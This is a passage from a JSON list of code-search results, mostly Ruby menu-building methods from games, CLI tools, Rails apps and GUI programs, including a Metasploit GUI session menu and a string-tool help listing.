\"Go to Pokemon Center\"\n self.pokemon_center\n elsif choice == \"Check Your Score\"\n puts \"CHECK YOUR SCORE\"\n else\n Interactivity.quit\n end\n end", "title": "" }, { "docid": "ac0b427385e7e480fc6a6bbbb3f9b4b7", "score": "0.6358367", "text": "def main_menu\n name_selector\n puts \"Okay #{@name}, what would you like to do?\"\n loop do\n case menu_arrows\n when '1'\n @recommendation.recommendation_menu\n when '2'\n puts 'you have the following number of games in your library: '\n @game_library.game_instances\n puts 'your custom list of games:'\n @game_library.user_games_lister\n when '3'\n puts 'add a game:'\n @game_library.add_title\n when '4'\n @game_library.delete_games\n when '5'\n @time_used.time_wasted\n when '6'\n @game_library.write_games\n puts 'thanks for your time!'\n exit\n end\n end\n end", "title": "" }, { "docid": "ee5daaaf6e6fc17a3e0ea97e969cd9c0", "score": "0.63548404", "text": "def build_menu(type)\n # Session Gtk::Menu\n menu_session = Gtk::Menu.new\n\n session_item_shell = Gtk::ImageMenuItem.new(\"Interact Session\")\n session_image_shell = Gtk::Image.new\n session_image_shell.set(Gtk::Stock::CONNECT, Gtk::IconSize::MENU)\n session_item_shell.set_image(session_image_shell)\n menu_session.append(session_item_shell)\n\n if (type == \"meterpreter\")\n meterpreter_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(meterpreter_separator)\n\n # Meterpreter shell\n meterpreter_item_shell = Gtk::ImageMenuItem.new(\"Meterpreter Shell\")\n meterpreter_image_shell = Gtk::Image.new\n meterpreter_image_shell.set(Gtk::Stock::EXECUTE, Gtk::IconSize::MENU)\n meterpreter_item_shell.set_image(meterpreter_image_shell)\n # TODO\n # menu_session.append(meterpreter_item_shell)\n\n # sdapi/process\n meterpreter_proc_item_shell = Gtk::ImageMenuItem.new(\"Process\")\n meterpreter_proc_image_shell = Gtk::Image.new\n meterpreter_proc_image_shell.set(Gtk::Stock::INDEX, Gtk::IconSize::MENU)\n meterpreter_proc_item_shell.set_image(meterpreter_proc_image_shell)\n menu_session.append(meterpreter_proc_item_shell)\n\n # sdapi/fs\n meterpreter_fs_item_shell = Gtk::ImageMenuItem.new(\"Browse\")\n meterpreter_fs_image_shell = Gtk::Image.new\n meterpreter_fs_image_shell.set(Gtk::Stock::OPEN, Gtk::IconSize::MENU)\n meterpreter_fs_item_shell.set_image(meterpreter_fs_image_shell)\n menu_session.append(meterpreter_fs_item_shell)\n\n # Meterpreter shell signal\n meterpreter_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Console::Meterpreter.new(current)\n end\n end\n\n # Process signal\n meterpreter_proc_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Sys::Ps.new(current[O_SESSION])\n end\n end\n\n # Fs signal\n meterpreter_fs_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n Msf::Ui::Gtk2::Stdapi::Fs.new(current[O_SESSION])\n end\n end\n end\n\n basic_separator = Gtk::SeparatorMenuItem.new\n menu_session.append(basic_separator)\n\n close_session_item_shell = Gtk::ImageMenuItem.new(\"Close Session\")\n close_session_image_shell = Gtk::Image.new\n close_session_image_shell.set(Gtk::Stock::CLOSE, Gtk::IconSize::MENU)\n close_session_item_shell.set_image(close_session_image_shell)\n menu_session.append(close_session_item_shell)\n\n session_item_shell.signal_connect('activate') do |item|\n if current = @selection.selected\n open_session(current)\n end\n end\n\n close_session_item_shell.signal_connect('activate') do |item|\n if session_iter = @selection.selected\n remove_session_iter(session_iter)\n end\n end\n\n return menu_session.show_all\n end", "title": "" }, { "docid": "d46b0350c55d3c98678b36992e9bd60a", "score": "0.6348489", "text": "def menu(name, *args, &block)\n if self[name]\n self[name].extend(&block)\n else\n self[name] = Menu.new(nil, :menu, name, *args, &block)\n end\n end", "title": "" }, { "docid": "7354cff535865abf1418d4fbb616e899", "score": "0.6335735", "text": "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "title": "" }, { "docid": "7354cff535865abf1418d4fbb616e899", "score": "0.6335735", "text": "def menu(context={})\n \n app = context[:app]\n\n menu_items = [ \n ] \n \n end", "title": "" }, { "docid": "d764e9d9dbb3c46625e0a6081a257fae", "score": "0.63121617", "text": "def case_menu(selection)\n case selection\n when 'Playlist'\n @playlist.menu\n when 'Account Details'\n account_details\n when 'Exit'\n p \"Is this exiting?\"\n end\n end", "title": "" }, { "docid": "8b0564e4e6aaeecc2ee71704ec1b439b", "score": "0.63043195", "text": "def print_menu_options\n\t\tputs \"----------------------------------------------\"\n\t\tputs \"1) Rename List | 2) Add task \"\n\t\tputs \"3) Complete task | 4) Uncomplete task\"\n\t\tputs \"5) Prioritize task | 6) Normalize task \"\n \t\tputs \"7) Add due date | 8) Remove due date\"\n\t\tputs \"9) Delete task | 0) Exit\"\n\t\tputs \"----------------------------------------------\"\n\t\tputs \"Enter choice: \"\n\t\tchoice = get_choice.to_i\n\t\toptions choice\n\tend", "title": "" }, { "docid": "bc794e7509e6e23dcd3a41683c789d2b", "score": "0.6281984", "text": "def menu_options #:nodoc:\n @menu_options ||= {}\n end", "title": "" }, { "docid": "0d640d7d2da0019cab1baf49b5c3e3ef", "score": "0.6270877", "text": "def admin_menu_items\n menu = []\n menu.push([t(\"menu.home\"), admin_home_path, Proc.new {controller_name == \"home\"}])\n if current_user\n menu.push([t(\"menu.projects\"), admin_projects_path, Proc.new {controller_name == \"projects\" || controller_name == \"project_to_users\"}])\n menu.push([t(\"menu.users\"), admin_users_path, Proc.new {controller_name == \"users\"}])\n menu.push([t(\"menu.profile\"), admin_profile_path, Proc.new {controller_name == \"profile\"}])\n menu.push([t(\"menu.logout\"), logout_path])\n end\n menu\n end", "title": "" }, { "docid": "c27f7c044317434e4b5d79bff538d464", "score": "0.6260116", "text": "def normal_menu header, *options\n\t\t\t\tmenu :green, :light_cyan, split(header, 43), *options\n\t\t\tend", "title": "" }, { "docid": "6add033baf29829a4d7c60921b504622", "score": "0.62532616", "text": "def menu\n \n \n\nend", "title": "" }, { "docid": "983c35c3423f15c30b1d3fbdf6746cfe", "score": "0.62462497", "text": "def return_to_menu(input)\n if input.downcase == \"menu\"\n menu_items\n end\nend", "title": "" }, { "docid": "265d7bbb0a395bec4fc3b2c635639b06", "score": "0.6245775", "text": "def menu\n puts \"\\n************************************************************\".colorize(:magenta).blink\n puts \"Select an option (1-5) from the menu below:\".colorize(:blue).bold\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"1. Don't want to think about what to cook? \\n Spin the RANDOM WHEEL OF RECIPES!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"2. Need some inspiration for cooking? \\n Find recipe by name OR \\n if you have leftover ingredients search your ingredients!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"3. Feeling creative? \\n Write and save your own recipe!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"4. View ALL your favorite recipes in 1 place!\".colorize(:blue)\n puts \"------------------------------------------------------------\".colorize(:cyan)\n puts \"5. You're done? Time to exit...\".colorize(:blue)\n puts \"************************************************************\\n \".colorize(:magenta).blink\n end", "title": "" }, { "docid": "b5fdcc81a418fecfd773a0d5f785d655", "score": "0.62450427", "text": "def main_menu\n prompt.select(\"What would you like to do today #{user.name}?\") do |menu|\n menu.choice \"Choose Protein\", -> {choose_protein}\n menu.choice \"Exit!\", -> {exit_helper}\n menu.choice \"Delete Account!?!?\", -> {delete_account_helper}\n end\n end", "title": "" }, { "docid": "0dfdee0eb567f367255da44e07e26a3d", "score": "0.6236172", "text": "def settings_menu\n display_settings\n\n case user_input(caps: true)\n when interface[:home] then clear_and_home_navigation\n when interface[:difficulty] then clear_and_set_difficulty\n when interface[:interface] then clear_and_set_interface\n when interface[:markers] then set_markers\n when interface[:names] then set_names\n when interface[:help] then toggle_helper_and_settings_menu\n when interface[:reset]\n if default_settings?\n invalid\n else\n reset_default_settings\n end\n else\n invalid\n end\n end", "title": "" }, { "docid": "8feaf49533f25994346be00ea4731c34", "score": "0.6234672", "text": "def menu(context={})\n \n app = context[:app]\n \n menu_items = [{:path => '/cms/media',\n :options => {:title => app.t.media_admin_menu.album_management,\n :link_route => \"/admin/media/album\",\n :description => 'The albums admin tools to create and modify media albums.',\n :module => 'cms',\n :weight => 2}}] \n \n end", "title": "" }, { "docid": "a9ede551a4dc3258fa7e3f554e79f39b", "score": "0.623451", "text": "def main_menu\n menu = [\n \"My Stats\",\n \"My Hikes\",\n \"Trails\",\n \"Quit\"]\n choice = nil\n while choice != \"Quit\"\n system 'clear'\n puts \"------MAIN MENU------\"\n choice = @prompt.select(\"What would you like to do #{@current_user.name}?\", menu)\n\n case choice\n when \"My Stats\"\n user_stats\n when \"My Hikes\"\n hike_options\n when \"Trails\"\n trail_options\n end\n end\n end", "title": "" }, { "docid": "0cd1e46c88e655e8146a9cd38971635b", "score": "0.6229951", "text": "def main_menu\n choice = true\n while choice\n puts \"What would you like to do?\"\n puts \"(C)reate, (L)ist, (U)pdate, (D)elete, or (E)xit \"\n options = gets.chomp.downcase\n\n case options\n when \"c\"\n # runs method create line 101\n create\n when \"l\"\n #runs method list line 144\n list\n when \"u\"\n #runs method update line 161\n update\n when \"d\"\n #runs method delete line 229\n delete\n when \"e\"\n choice = false #exits world\n else\n puts \"Wrong Input. Please input C, L, U, D or E\"\n end\n end\n end", "title": "" }, { "docid": "113b2f538dcbc54054112e975065ad3a", "score": "0.6227343", "text": "def menu\n \nend", "title": "" }, { "docid": "f73f434d71ddf6e1d172ca5beaaa0eaa", "score": "0.6225026", "text": "def set_menu_links\n @menu_link = [{\n link_name: 'Главная',\n link_path: root_path,\n link_class: 'home-class'\n }, {\n link_name: 'QR коды',\n link_path: qr_codes_path\n }, {\n link_name: 'Наши контакты',\n link_path: contacts_path\n }, {\n link_name: 'О нас',\n link_path: about_path\n }]\n\n @users_link = []\n if current_user\n @users_link.push({\n link_name: 'Выход',\n link_path: logout_path,\n link_method: :delete\n })\n else\n @users_link.push({\n link_name: 'Регистрация',\n link_path: new_user_path\n })\n @users_link.push({\n link_name: 'Войти',\n link_path: login_path\n })\n end\n end", "title": "" }, { "docid": "1ed144225c5f194b52c5b0c23c4cc3d1", "score": "0.6222746", "text": "def setMenu\n\t\t@phase = \"menu\"\n\t\t@dialogueText.setText([\"What will you do?\"])\n\t\t@menuStack.push(@battleOptions)\n\t\t@enemyUnits = @battleManager.enemyUnits\n\t\t@hero.nextCommand = []\n\tend", "title": "" }, { "docid": "17d1fe73f8a5a4df8686f72f9a38c746", "score": "0.62180585", "text": "def menu\nend", "title": "" }, { "docid": "04f9e257721563eb3a9215ebd44e3f51", "score": "0.62178963", "text": "def build(menu, options = {})\n @menu = menu\n super(default_options.merge(options))\n build_menu\n end", "title": "" }, { "docid": "04f9e257721563eb3a9215ebd44e3f51", "score": "0.62178963", "text": "def build(menu, options = {})\n @menu = menu\n super(default_options.merge(options))\n build_menu\n end", "title": "" }, { "docid": "4464ad470bae2141a17f0f5d7e8e4768", "score": "0.62089", "text": "def define_menu_items\n add_menu_item(\"Weekly worktime.\", 1)\n add_menu_item(\"Monthly worktime.\", 2)\n add_menu_item(\"Custom worktime interval.\", 3)\n add_menu_item(\"Cancel and return to previous menu.\", 4)\n end", "title": "" }, { "docid": "58baf4ed4aff6387e8b78ffa3d347412", "score": "0.62055475", "text": "def items_for_select_menu(options = {}) \n # clean out the various parts\n html_options = options.slice(:prompt, :divider, :show_root, :root_text)\n sql_options = options.except(:prompt, :divider, :show_root, :root_text)\n \n # defaults\n html_options = {\n :prompt => \"Select #{self.name}\",\n :divider => true,\n :show_root => true,\n :root_text => \"Top Level #{self.name}\",\n }.merge(html_options)\n \n sql_options = {\n :order => [self.select_field.to_sym],\n }.merge(sql_options)\n \n mi = self.select_options[:is_tree] ? all({ :parent_id => nil }.merge(sql_options) ) : all(sql_options)\n \n res = []\n if html_options[:prompt]\n res << [nil, html_options[:prompt]] \n res << ['nil', \" ------ \"] if html_options[:divider]\n if self.select_options[:is_tree]\n if html_options[:show_root]\n res << [0, html_options[:root_text]] \n res << ['nil',\" ------ \"] if html_options[:divider]\n end\n end\n end\n \n if self.select_options[:is_tree]\n mi.each do |x|\n res << [x.send(self.value_field), x.send(self.select_field)]\n unless x.children.blank?\n x.children.each do |child|\n res << [child.send(self.value_field), \"-- #{child.send(self.select_field)}\"]\n child.children.each do |grand_child| \n res << [ grand_child.send(self.value_field), \"-- -- #{grand_child.send(self.select_field)}\"] \n end unless child.children.blank?\n end\n end\n end\n else\n mi.each do |x|\n res << [x.send(self.value_field), x.send(self.select_field)]\n end\n end\n res\n end", "title": "" }, { "docid": "a5813f9f9d15e01f65578b00c872ad21", "score": "0.6201678", "text": "def render_menus \n# student_menu = add_menu('#{@studentb.full_name}')\n student_menu = add_menu('#{image_tag(@studentb.thumb_image,:style=>\";float:left;height:25px;margin-right:10px;\") + \" \" + @studentb.full_name + \"&nbsp;&nbsp;\"}',:action=>'profile')\n student_menu.add_submenu('Profile',:action=>'profile')\n student_menu.add_submenu('Photos',:action=>'photo',:if=>\"@studentb.visible_album_counts(@me) > 0\") \n student_menu.add_submenu('Binder',:action=>'show_notes',:if=>\"@studentb.notes.not_anonymous.size > 0\") \n \n end", "title": "" }, { "docid": "f34985fa2d5634fe397817136861e116", "score": "0.6187019", "text": "def initGameModesMenu\n\t\tmenuUi = MenuUI.new([:timetrial,:ranked, :back], @assets)\n\n\t\tmenuUi.setOnClickEvent(:timetrial){\n\t\t\tdisplay(TimeTrialMode.new(self))\n\t\t\tchangeBackground(\"ecranDeJeu\")\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:ranked){\n\t\t\tdisplay(@levelsMenu)\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:back){\n\t\t\tdisplay(@mainMenu)\n\t\t}\n\t\t@gameModesMenu = menuUi\n\tend", "title": "" }, { "docid": "aeb008e5d92336a52f67d205ecf1d3d2", "score": "0.61775774", "text": "def manage_account_menu\n choice = @prompt.select(\"Please choose from the following options:\") do |menu|\n menu.choice 'Change my name'\n menu.choice 'Change my password'\n menu.choice 'Delete my account'.blue\n menu.choice \"Back to Main Menu\"\n end\n\n if choice == \"Change my name\"\n change_name\n elsif choice == \"Change my password\"\n change_password\n elsif choice == \"Delete my account\".blue\n delete_account\n elsif choice == \"Back to Main Menu\"\n start_menu\n end\nend", "title": "" }, { "docid": "75a30f54fa2c2201572e2abf070c243d", "score": "0.6164842", "text": "def dynamic_menu(options = {})\n render :partial => 'menu/modules/dynamic_menu',\n :locals => {:menu => prepare_links(options)}\n end", "title": "" }, { "docid": "251cf76ab141a72f0320f3f7b1c240e8", "score": "0.6157171", "text": "def options_menu(noteboard)\n @start_prompt = TTY::Prompt.new\n @start_prompt.select(\"What do you want to do now?\") do |menu|\n menu.choice \"Load existing noteboards\", -> {noteboard_menu}\n menu.choice \"Add new note\", -> {Noteboard.noteboard_add(add_note)}\n menu.choice \"Delete note\", -> {Noteboard.noteboard_delete(delete_note)}\n menu.choice \"Back\", -> {StartMenu.new}\n end\nend", "title": "" }, { "docid": "6c0454f536161a5856fed5d697c34a79", "score": "0.6154811", "text": "def menu menu_name, options = {}\n\toptions = {\n\t :dir_class => 'dir',\n\t :active_dir_class => 'active',\n\t :active_link_class => 'active',\n\t :root => nil\n\t}.deep_merge(options)\n\n\tul_li_menu(menu_name,options) do |page|\n\t if page[:page].page_type=='directory'\n\t page[:page].menu\n\t else\n\t %[<a href=\"#{root_url+page[:page].url}\" #{%[class=\"#{options[:active_link_class]}\"] if options[:active_link_class] && page[:page]==@page}>#{page[:page].menu}</a>]\n\t end\n\tend\n end", "title": "" }, { "docid": "983d7fa2a4e10183a98d74e7c16cbc8f", "score": "0.6135188", "text": "def case_menu(selection)\n case selection\n when 'Add'\n add\n when 'Remove'\n remove\n else\n second_case_menu(selection)\n end\n end", "title": "" }, { "docid": "cd26a89e983afa511b40d326bc735357", "score": "0.61332506", "text": "def menu_options\n raise Puerto::AbstractMethodError\n end", "title": "" }, { "docid": "158919e75a5fb3c6bd3356fbe6d3a16f", "score": "0.61322594", "text": "def analyze_menu\n analyze = Menu.new(\"What would you like to see?\")\n analyze.add_menu_item({key_user_returns: 1, user_message: \"Get all time/theatres for a particular movie.\", do_if_chosen: [\"get_time_location_for_movie\"]})\n analyze.add_menu_item({key_user_returns: 2, user_message: \"Get all times for a particular theatre.\", do_if_chosen: [\"get_time_location_for_location\"]})\n analyze.add_menu_item({key_user_returns: 3, user_message: \"Get all movies played at this time.\", do_if_chosen: [\"get_all_movies_for_this_time\"]})\n analyze.add_menu_item({key_user_returns: 4, user_message: \"Get all time/theatres that are sold out or not sold out.\", do_if_chosen: [\"get_sold_time_locations\"]})\n analyze.add_menu_item({key_user_returns: 5, user_message: \"Get all movies from a particular studio or rating.\", do_if_chosen: [\"get_movies_like_this\"]})\n analyze.add_menu_item({key_user_returns: 6, user_message: \"Get all theatres that are booked or not fully booked.\", do_if_chosen: [\"get_available_locations\"]})\n analyze.add_menu_item({key_user_returns: 7, user_message: \"Get number of staff needed for a time slot.\", do_if_chosen: [\"get_num_staff_needed\"]})\n analyze.add_menu_item({key_user_returns: 8, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(analyze)\n end", "title": "" }, { "docid": "027fca5fe97cb2125193890e3cf61bbd", "score": "0.6125536", "text": "def main_menu(user=\"guest\")\n game = nil\n router = nil\n message = []\n # base options\n options = [\n [\"Continue as a Guest\", 8],\n [\"Log In\", 3],\n [\"Create Account\", 5],\n [\"Select a Game\", 8],\n [\"My Reviewed Games\", 13],\n [\"Log Out\", 4],\n [\"My Account\", 6],\n [\"Exit\", 1]\n ]\n # removing options based on status\n if user == \"guest\"\n options.delete_at(6)\n options.delete_at(5)\n options.delete_at(4)\n options.delete_at(3)\n elsif Review.where(user_id: user.id).count == 0\n options.delete_at(4)\n options.delete_at(2)\n options.delete_at(1)\n options.delete_at(0)\n else\n options.delete_at(2)\n options.delete_at(1)\n options.delete_at(0)\n end\n # display loop until validated choice\n until router\n display_menu_header([\"Main Menu:\"], user)\n router = display_options_menu(options, message)\n message = [\"Sorry, invalid selection. Please choose again...\"]\n end\n menu_routing(user, \"\", router)\nend", "title": "" }, { "docid": "9eabe97d5abbb2f1eadd054c59c5bb19", "score": "0.6122212", "text": "def build_menu\n build_menu_title\n build_menu_body\n build_application\n end", "title": "" }, { "docid": "09c513d96a5c75091580dbf1169cc527", "score": "0.61185855", "text": "def main_menu\n @@prompt.select(\"What would you like to do today?\".colorize(:yellow)) do |menu|\n menu.choice \"Read Reviews\", -> {self.read_reviews}\n menu.choice \"Write a review\", -> { self.writing }\n menu.choice \"Update a review\", -> { self.update_reviews }\n menu.choice \"Delete a review\", -> { self.deleting }\n menu.choice \"Log Out\", -> { self.log_out }\n end\n end", "title": "" }, { "docid": "dae7ec840d6b3fac526b993d73d7f8bf", "score": "0.61183834", "text": "def main_menu\n choice = self.prompt.select(\"Hi there, #{self.user.name}! What would you like to do today?\", [\"Create a new post\", \"Find a book\", \"View or edit my posts\", \"Delete my account\", \"Logout\"])\n\n case choice\n when \"Create a new post\"\n self.new_post\n when \"Find a book\"\n self.find_book\n when \"View or edit my posts\"\n self.view_edit_posts\n when \"Delete my account\"\n self.delete_account\n when \"Logout\"\n self.spinner(\" ✌️✌️✌️ \")\n self.greet\n end\n end", "title": "" }, { "docid": "67250fc1b7b0c42fc13f880b3124390e", "score": "0.6115476", "text": "def setupMenus\n # Menus:\n fileMenu = menuBar().addMenu(tr(\"&File\"))\n helpMenu = menuBar().addMenu(tr(\"&Help\"))\n # Menu items:\n openFile = fileMenu.addAction(tr(\"&Open...\"))\n openFile.shortcut = Qt::KeySequence.new(tr(\"Ctrl+O\"))\n exitAction = fileMenu.addAction(tr(\"E&xit\"))\n exitAction.shortcut = Qt::KeySequence.new(tr(\"Ctrl+X\"))\n aboutView = helpMenu.addAction(tr(\"&About\"))\n aboutView.shortcut = Qt::KeySequence.new(tr(\"Ctrl+A\"))\n # Menu item actions:\n connect(openFile, SIGNAL('triggered()'), self, SLOT('open_file()'))\n connect(exitAction, SIGNAL('triggered()'), $qApp, SLOT('quit()'))\n connect(aboutView, SIGNAL('triggered()'), self, SLOT('about()'))\n end", "title": "" }, { "docid": "85e613a607e6d7cd56d946a52e452834", "score": "0.6108593", "text": "def main_menu\n\tputs \"\\n1 Library\\n2 Staff Members\\n3 Books\\n4 Patrons\\n0 Exit\\n\"\n\tselect = make_selection\n\n\twhile select != \"1\" && select != \"2\" && select != \"3\" && select != \"4\" && select != \"0\"\n\t\tputs \"\\nInvalid choice selected\\n\"\t\t \t\t\n\t\tselect = make_selection\n\tend\n\n\tif select == \"1\"\n\t\tlibrary_choice = \"9\"\n\t\twhile library_choice != \"0\"\n\t\t\tlibrary_choice = select_choice_library\n\t\tend\n\n \telsif select == \"2\"\n\t\tstaff_member_choice = \"9\"\n\t\twhile staff_member_choice != \"0\"\n\t\t\tstaff_member_choice = select_choice_staff_member\n\t\tend\n\n\n\telsif select == \"3\"\n\t\tbook_choice = \"9\"\n\t\twhile book_choice != \"0\"\n\t\t\tbook_choice = select_choice_book\n\t\tend\n\n\n\telsif select == \"4\"\n\t\tpatron_choice = \"9\"\n\t\twhile patron_choice != \"0\"\n\t\t\tpatron_choice = select_choice_patron\n\t\tend\n\n\n\telsif select == \"0\"\n\t\tputs \"\\nGoodbye\"\t\t \t\t\n\tend\n\tselect \nend", "title": "" }, { "docid": "16582ced848f265b03cdaec6aacf1b10", "score": "0.6093043", "text": "def set_menu _menu_name\n send_cmd(\"set_menu #{_menu_name}\")\n end", "title": "" }, { "docid": "5327b8c1154e785abb75a2fd786e5371", "score": "0.6089829", "text": "def present_menu_options\n space(1)\n puts \"Choose an option from the list below.\"\n space(1)\n puts '1. Search for events by city'\n puts '2. Search for events by artist or sports team'\n puts '3. See what I have coming up'\n puts '4. Delete my account'\n puts '5. Exit'\n space(1)\n pick_option\nend", "title": "" }, { "docid": "fa62804b837f49b2bb611350f5ffced6", "score": "0.6086688", "text": "def main_menu\n input_options_array = [\"1\",\"2\",\"3\",\"4\",\"5\"]\nend", "title": "" }, { "docid": "88a146ca9e785f4d4fe786e1e544aeed", "score": "0.6083038", "text": "def main_menu\n @active = 0\n @prompt.select(\"\\nWhat would you like to do?\\n\".blue) do |menu|\n menu.choice \"Check out what's on today\", -> {today_menu} \n menu.choice \"Check out things to do on the weekend\", -> {weekend_menu}\n menu.choice \"Look at my favourites\", -> {display_favorites}\n menu.choice \"Exit\".red, -> {leave_app} \n end \n end", "title": "" }, { "docid": "e63870ed0d19b6378805dd7942696b16", "score": "0.60828286", "text": "def menu_options\n system \"clear\"\n puts \"~~~ Welcome #{@user.username} to the Main Menu ~~~\\n\\n\" \n puts \"{1} Continue from previous story \"\n puts \"{2} Create new story\"\n puts \"{3} Delete a story\"\n puts \"{4} Tutorial\"\n puts \"{5} End My Session\"\nend", "title": "" }, { "docid": "906d64b4f2a7b56e74eb3945fd6ea2aa", "score": "0.6070647", "text": "def gen_menu\n @menu = MenuTree.new\n\n return unless @sysuser\n\n @menu << MenuItem.new(_('Laboratories'),\n url_for(:controller => 'laboratories')) <<\n MenuItem.new(_('Profiles'),\n url_for(:controller => 'profiles')) <<\n MenuItem.new(_('Disk devices'),\n url_for(:controller => 'disk_devs')) <<\n MenuItem.new(_('Terminals'),\n url_for(:controller => 'terminals')) <<\n MenuItem.new(_('Terminal classes'),\n url_for(:controller => 'term_classes')) <<\n MenuItem.new(_('Instances'),\n url_for(:controller => 'instances')) \n\n if @sysuser.admin?\n @menu << MenuItem.new(_('User management'),\n url_for(:action => 'list', \n :controller => 'sysusers'))\n end\n end", "title": "" }, { "docid": "8f21c3be2f816dac504283ace5e0fdf6", "score": "0.6063763", "text": "def strass_menu_help\n puts \"Available Options for the String Assistant Menu: \".underline.white\n puts \"back \".light_yellow + \" => \".white + \"Return to Main Menu\".light_red\n puts \"show basic \".light_yellow + \" => \".white + \"Show Basic Functions\".light_red\n puts \"show build \".light_yellow + \" => \".white + \"Show Builder Functions\".light_red\n puts \"show tamper \".light_yellow + \" => \".white + \"Show Tamper Functions\".light_red\n puts \"show append \".light_yellow + \" => \".white + \"Show Append Functions\".light_red\n puts \"show space \".light_yellow + \" => \".white + \"Show Whitespace Functions\".light_red\n puts \"show comma \".light_yellow + \" => \".white + \"Show Comma Functions\".light_red\n puts \"show floor \".light_yellow + \" => \".white + \"Show Floor() Functions\".light_red\n print_line(\"\")\nend", "title": "" }, { "docid": "7f4fabb72d86fee5977c151b68e661e4", "score": "0.6062877", "text": "def menu_options()\n print_message 'Select operation to perform'\n print_message '1. Add'\n print_message '2. Substract'\n print_message '3. Multiply'\n print_message '4. Divide'\n print_message \"Or press 'q' to exit calculator app\"\n end", "title": "" }, { "docid": "c0a2a5dc3efdf16e9809ca2372576bfd", "score": "0.6061488", "text": "def movie_menu\n movie = Menu.new(\"What would you like to do with movies?\")\n movie.add_menu_item({key_user_returns: 1, user_message: \"Create a movie.\", do_if_chosen: [\"create_movie\"]})\n movie.add_menu_item({key_user_returns: 2, user_message: \"Update a movie.\", do_if_chosen: [\"update_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 3, user_message: \"Show me movies.\", do_if_chosen: [\"show_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 4, user_message: \"Delete a movie.\", do_if_chosen: [\"delete_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(movie)\n end", "title": "" }, { "docid": "456d14c69a5cc65399bf6b7652a61d97", "score": "0.6061109", "text": "def init_menu\n @menus.set_selected(\"dashboard\")\n end", "title": "" }, { "docid": "b75fc44b3093bfeea5f7bf9b1f7b7b5c", "score": "0.6057844", "text": "def make_your_own\r\n # Arrays of options\r\n menu_1 = [\"Basic Elements\", \"Date/Time Element\", \"Emoji\", \"Other Characters\",\"Edit Prompt Design\", \"I am done!\"]\r\n basic_element = [\"Username\", \"Hostname\", \"Shell\", \"Shell Version\", \"Path to Current Directory\", \"Current Directory\", \"Exit\"]\r\n time_element = [\"Date\", \"24hr Time\", \"12hr Time\", \"Exit\"]\r\n emoji_top = [\"🐰 \",\"🤖 \",\"🔥 \",\"❤️ \",\"🤷 \",\"🎯 \",\"💭 \",\"💯 \",\"🈲 \",\"☠️ \"]\r\n emoji_animal = [\"🙈 \",\"🙉 \",\"🙊 \",\"🦊 \",\"🐶 \",\"🦄 \",\"🐷 \",\"🐼 \",\"🐾 \",\"🐔 \",\"🐉 \",\"🕊️ \"]\r\n emoji_smileys = [\"😁 \",\"🤣 \",\"😎 \",\"😊 \",\"😍 \",\"🤗 \",\"🤩 \",\"🤔 \",\"😝 \",\"🤑 \",\"😤 \",\"😱 \"]\r\n emoji_food = [\"🍋 \",\"🍌 \",\"🥑 \",\"🥦 \",\"🥨 \",\"🍕 \",\"🍱 \",\"🍣 \",\"🎂 \",\"🍦 \",\"🍺 \"]\r\n emoji_travel = [\"⛩️ \",\"🗼 \",\"🗽 \",\"🗿 \",\"🗻 \",\"🎑 \"]\r\n emoji_symbol = [\"☠️ \",\"💘 \",\"💢 \",\"💭 \",\"🀄 \",\"⛔ \",\"♻️ \",\"💯 \",\"🎯 \",\"🈲 \",\"🤷 \",\"🔥 \"]\r\n emoji_menu = [\"Trending [Preview: #{emoji_top.join(\" \")}]\", \"Animals [Preview: #{emoji_animal.join(\" \")}]\", \"Smileys [Preview: #{emoji_smileys.join(\" \")}]\", \"Food [Preview: #{emoji_food.join(\" \")}]\", \"Travel [Preview: #{emoji_travel.join(\" \")}]\", \"Symbol [Preview: #{emoji_symbol.join(\" \")}]\"]\r\n emojis = [emoji_top,emoji_animal,emoji_smileys,emoji_food,emoji_travel,emoji_symbol]\r\n color = [\"Default (White)\", \"Red\", \"Green\", \"Yellow\", \"Blue\", \"Magenta\", \"Cyan\"]\r\n output = []\r\n terminal_code = []\r\n color_menu = \"\"\" (1) Default (White)\r\n (2) #{\"Red\".colorize(:red)}\r\n (3) #{\"Green\".colorize(:green)}\r\n (4) #{\"Yellow\".colorize(:yellow)}\r\n (5) #{\"Blue\".colorize(:blue)}\r\n (6) #{\"Magenta\".colorize(:magenta)}\r\n (7) #{\"Cyan\".colorize(:cyan)}\r\n \"\"\"\r\n divider = \"-\" * 100\r\n remove_elements = ['\\u ','\\h ','\\s ','\\v ','\\w ','\\W ','\\d ','\\A ','\\@ ']\r\n\r\n # Hash for each option\r\n # Hashes for basic_element_2 array\r\n username = {\r\n number: 1,\r\n name: \"Username\",\r\n code: '\\u ',\r\n output: \"user\"\r\n }\r\n\r\n hostname = {\r\n number: 2,\r\n name: \"Hostname\",\r\n code: '\\h ',\r\n output: \"host\"\r\n }\r\n\r\n shell = {\r\n number: 3,\r\n name: \"Shell\",\r\n code: '\\s ',\r\n output: \"bash\"\r\n }\r\n\r\n shell_version = {\r\n number: 4,\r\n name: \"Shell Version\",\r\n code: '\\v ',\r\n output: \"4.2.1\"\r\n }\r\n\r\n path_to_current_dir = {\r\n number: 5,\r\n name: \"Path to Current Directory\",\r\n code: '\\w ',\r\n output: \"~/dir\"\r\n }\r\n\r\n current_dir = {\r\n number: 6,\r\n name: \"Current Directory\",\r\n code: '\\W ',\r\n output: \"dir\"\r\n }\r\n\r\n # Hashes for date_2 array\r\n date = {\r\n number: 1,\r\n name: \"Date\",\r\n code: '\\d ',\r\n output: \"Wed Feb 28\"\r\n }\r\n\r\n time_24hr = {\r\n number: 2,\r\n name: \"24hr 